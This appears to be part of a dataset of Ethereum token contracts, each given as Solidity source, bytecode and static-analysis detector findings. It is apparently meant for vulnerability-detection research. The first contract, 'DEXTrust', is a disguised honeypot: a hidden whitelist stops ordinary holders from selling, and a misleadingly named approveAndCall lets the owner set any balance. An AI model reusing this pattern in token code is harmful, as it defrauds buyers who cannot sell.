chance of problems. • The achievement of long-term sustainability with the experimental governance model is going to require more efforts and time in real-time. */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract DEXTrust { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820349ac0e3c426fe10da25609a8d60d4f53e16860a11441d3c975905efcf56ae5364736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
422
0x21292ddcd18866920d09df96764c091b58d3c949
pragma solidity ^0.4.23; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract Spider is PausableToken{ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. string public symbol; //An identifier: eg SBX uint256 public exchangeRate; //0.1 eth bool public sellPaused = false; constructor( uint256 _initialAmount ) public { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply_ = _initialAmount; // Update total supply name = "Spider"; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = "SPB"; // Set the symbol for display purposes exchangeRate = 1000; } function setExchangeRate(uint256 x) public onlyOwner { exchangeRate = x; } modifier whenSellNotPaused() { require(!sellPaused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenSellPaused() { require(sellPaused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function sellpause() onlyOwner whenSellNotPaused public { sellPaused = true; } /** * @dev called by the owner to unpause, returns to normal state */ function unsellpause() onlyOwner whenSellPaused public { sellPaused = false; } function buy() payable whenSellNotPaused whenNotPaused public { require(msg.value >= 0.1 ether); uint256 count = msg.value.div(0.1 ether).mul(exchangeRate); balances[msg.sender] = balances[msg.sender].add(count); balances[owner] = balances[owner].sub(count); } function withdrawAll () onlyOwner() public { msg.sender.transfer(this.balance); } function withdrawAmount (uint256 _amount) onlyOwner() public { msg.sender.transfer(_amount); } }
0x6080604052600436106101485763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630562b9f7811461014d57806306fdde0314610167578063095ea7b3146101f157806318160ddd1461022957806323b872dd146102505780632cd6305f1461027a578063313ce5671461028f5780633ba0b9a9146102ba5780633f4ba83a146102cf5780635c975abb146102e457806366188463146102f957806370a082311461031d578063715018a61461033e5780638456cb5914610353578063853828b6146103685780638da5cb5b1461037d57806395d89b41146103ae578063a6f2ae3a146103c3578063a9059cbb146103cb578063d73dd623146103ef578063db068e0e14610413578063dd62ed3e1461042b578063e101733214610452578063f1fa174414610467578063f2fde38b1461047c575b600080fd5b34801561015957600080fd5b5061016560043561049d565b005b34801561017357600080fd5b5061017c6104e5565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b657818101518382015260200161019e565b50505050905090810190601f1680156101e35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101fd57600080fd5b50610215600160a060020a0360043516602435610573565b604080519115158252519081900360200190f35b34801561023557600080fd5b5061023e6105a0565b60408051918252519081900360200190f35b34801561025c57600080fd5b50610215600160a060020a03600435811690602435166044356105a6565b34801561028657600080fd5b506101656105d3565b34801561029b57600080fd5b506102a4610607565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061023e610610565b3480156102db57600080fd5b50610165610616565b3480156102f057600080fd5b5061021561068e565b34801561030557600080fd5b50610215600160a060020a036004351660243561069e565b34801561032957600080fd5b5061023e600160a060020a03600435166106c2565b34801561034a57600080fd5b506101656106dd565b34801561035f57600080fd5b5061016561074b565b34801561037457600080fd5b506101656107c8565b34801561038957600080fd5b5061039261080f565b60408051600160a060020a039092168252519081900360200190f35b3480156103ba57600080fd5b5061017c61081e565b610165610879565b3480156103d757600080fd5b50610215600160a060020a0360043516602435610958565b3480156103fb57600080fd5b50610215600160a060020a036004351660243561097c565b34801561041f57600080fd5b506101656004356109a0565b34801561043757600080fd5b5061023e600160a060020a03600435811690602435166109bc565b34801561045e57600080fd5b506102156109e7565b34801561047357600080fd5b506101656109f0565b34801561048857600080fd5b50610165600160a060020a0360043516610a26565b600354600160a060020a031633146104b457600080fd5b604051339082156108fc029083906000818181858888f193505050501580156104e1573d6000803e3d6000fd5b5050565b6004805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561056b5780601f106105405761010080835404028352916020019161056b565b820191906000526020600020905b81548152906001019060200180831161054e57829003601f168201915b505050505081565b60035460009060a060020a900460ff161561058d57600080fd5b6105978383610abb565b90505b92915050565b60015490565b60035460009060a060020a900460ff16156105c057600080fd5b6105cb848484610b21565b949350505050565b600354600160a060020a031633146105ea57600080fd5b60085460ff1615156105fb57600080fd5b6008805460ff19169055565b60055460ff1681565b60075481565b600354600160a060020a0316331461062d57600080fd5b60035460a060020a900460ff16151561064557600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff16156106b857600080fd5b6105978383610c98565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146106f457600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a0316331461076257600080fd5b60035460a060020a900460ff161561077957600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031633146107df57600080fd5b6040513390303180156108fc02916000818181858888f1935050505015801561080c573d6000803e3d6000fd5b50565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561056b5780601f106105405761010080835404028352916020019161056b565b60085460009060ff161561088c57600080fd5b60035460a060020a900460ff16156108a357600080fd5b67016345785d8a00003410156108b857600080fd5b6007546108e3906108d73467016345785d8a000063ffffffff610d8816565b9063ffffffff610d9d16565b33600090815260208190526040902054909150610906908263ffffffff610dc616565b3360009081526020819052604080822092909255600354600160a060020a03168152205461093a908263ffffffff610dd316565b600354600160a060020a031660009081526020819052604090205550565b60035460009060a060020a900460ff161561097257600080fd5b6105978383610de5565b60035460009060a060020a900460ff161561099657600080fd5b6105978383610ec6565b600354600160a060020a031633146109b757600080fd5b600755565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60085460ff1681565b600354600160a060020a03163314610a0757600080fd5b60085460ff1615610a1757600080fd5b6008805460ff19166001179055565b600354600160a060020a03163314610a3d57600080fd5b600160a060020a0381161515610a5257600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a0383161515610b3857600080fd5b600160a060020a038416600090815260208190526040902054821115610b5d57600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610b8d57600080fd5b600160a060020a038416600090815260208190526040902054610bb6908363ffffffff610dd316565b600160a060020a038086166000908152602081905260408082209390935590851681522054610beb908363ffffffff610dc616565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610c2d908363ffffffff610dd316565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610ced57336000908152600260209081526040808320600160a060020a0388168452909152812055610d22565b610cfd818463ffffffff610dd316565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60008183811515610d9557fe5b049392505050565b6000821515610dae5750600061059a565b50818102818382811515610dbe57fe5b041461059a57fe5b8181018281101561059a57fe5b600082821115610ddf57fe5b50900390565b6000600160a060020a0383161515610dfc57600080fd5b33600090815260208190526040902054821115610e1857600080fd5b33600090815260208190526040902054610e38908363ffffffff610dd316565b3360009081526020819052604080822092909255600160a060020a03851681522054610e6a908363ffffffff610dc616565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610efa908363ffffffff610dc616565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a3506001929150505600a165627a7a72305820788c64a49aa43f5af13b344651230dd522d558549d8520f253a363806cd906c80029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
423
0xaae57e4d862b10b3037b67ffc28cbf1083a08db7
// 'ApolloSwap Token' token contract // NO PERSALE, NO TEAM TOKENS, NO MINT, LIQUIDITY LOCKED // Symbol : ApolloSwap // Name : APOLLO // Total supply: 50000 // Decimals : 18 // // Enjoy. // pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 